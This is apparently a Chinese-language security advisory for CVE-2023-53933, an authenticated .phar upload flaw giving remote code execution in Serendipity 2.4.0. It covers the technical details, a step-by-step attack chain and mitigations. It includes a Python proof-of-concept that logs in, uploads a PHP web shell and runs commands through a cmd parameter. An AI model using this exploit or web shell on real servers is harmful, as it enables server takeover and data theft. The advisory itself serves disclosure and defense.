IPBUF安全漏洞报告
English
CVE-2023-53933 CVSS 8.8 高危

CVE-2023-53933 Serendipity 2.4.0 远程代码执行漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2023-53933
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Serendipity

相关标签

远程代码执行文件上传SerendipityCVE-2023-53933PHAR反序列化高危漏洞

漏洞概述

CVE-2023-53933是Serendipity博客系统中的一个高危远程代码执行漏洞。该漏洞存在于Serendipity 2.4.0版本中,攻击者可以通过身份认证后利用媒体文件上传功能,上传带有恶意PHP代码的.phar文件。由于系统未能对上传文件进行充分的安全验证,攻击者成功上传恶意文件后,可以通过访问该文件在服务器上执行任意系统命令,从而完全控制目标服务器。此漏洞的CVSS评分达到8.8,属于高危级别,对系统机密性、完整性和可用性均造成严重影响。攻击者只需拥有低权限账户即可发起攻击,无需用户交互,大大增加了漏洞的利用风险。

技术细节

该漏洞的核心问题在于Serendipity的媒体上传端点缺乏对.phar文件的严格安全验证。攻击者首先使用低权限账户登录系统,然后构造包含PHP代码的恶意.phar文件(通常内嵌system()或exec()等命令执行函数),通过/media endpoint上传该文件。上传成功后,攻击者通过访问上传文件路径(如/uploads/xxx.phar?cmd=whoami)触发.phar文件解析,服务器将执行其中的恶意PHP代码。由于.phar文件在PHP中被视为有效的PHP代码封装格式,系统会将其作为PHP脚本解析执行,从而实现远程代码执行。攻击者可以利用此漏洞执行任意系统命令、读取敏感配置文件、甚至植入后门程序。

攻击链分析

STEP 1
步骤1
攻击者获取Serendipity系统的低权限账户凭据并登录后台
STEP 2
步骤2
构造包含PHP代码的恶意.phar文件,内嵌system()或exec()等命令执行函数
STEP 3
步骤3
通过/media上传端点上传恶意.phar文件,利用系统验证缺陷绕过安全检查
STEP 4
步骤4
上传成功后,通过HTTP请求访问上传的.phar文件路径
STEP 5
步骤5
在请求中添加cmd参数传递系统命令,触发.php代码执行
STEP 6
步骤6
服务器解析执行恶意PHP代码,返回命令执行结果,攻击者获得服务器完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2023-53933 PoC - Serendipity 2.4.0 Authenticated RCE via .phar upload target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com/serendipity' username = 'attacker' password = 'password' session = requests.Session() # Step 1: Login login_url = f'{target}/serendipity_admin.php' login_data = {'serendipity[user]': username, 'serendipity[pass]': password} resp = session.post(login_url, data=login_data) # Step 2: Upload malicious .phar file upload_url = f'{target}/serendipity_admin.php?adminModule=media' # PHP payload: system($_GET['cmd']) payload = b'<?php system($_GET["cmd"]); ?>' files = {'serendipity[userfile]': ('shell.phar', payload, 'application/octet-stream')} resp = session.post(upload_url, files=files) # Step 3: Extract uploaded file path from response and execute command if 'upload' in resp.text.lower() or resp.status_code == 200: print('[+] File uploaded successfully') # Access the uploaded file to execute commands cmd = 'whoami' shell_url = f'{target}/uploads/shell.phar?cmd={cmd}' rce_resp = session.get(shell_url) print(f'[+] Command output: {rce_resp.text}')

影响范围

Serendipity 2.4.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 临时禁用.media上传功能;2) 在Web服务器配置中禁止/uploads目录的PHP执行权限(如Apache的<Directory>或Nginx的location配置中添加deny规则);3) 实施严格的访问控制策略,限制低权限账户的文件上传功能;4) 启用Web应用防火墙(WAF)规则,拦截可疑的.phar文件上传请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表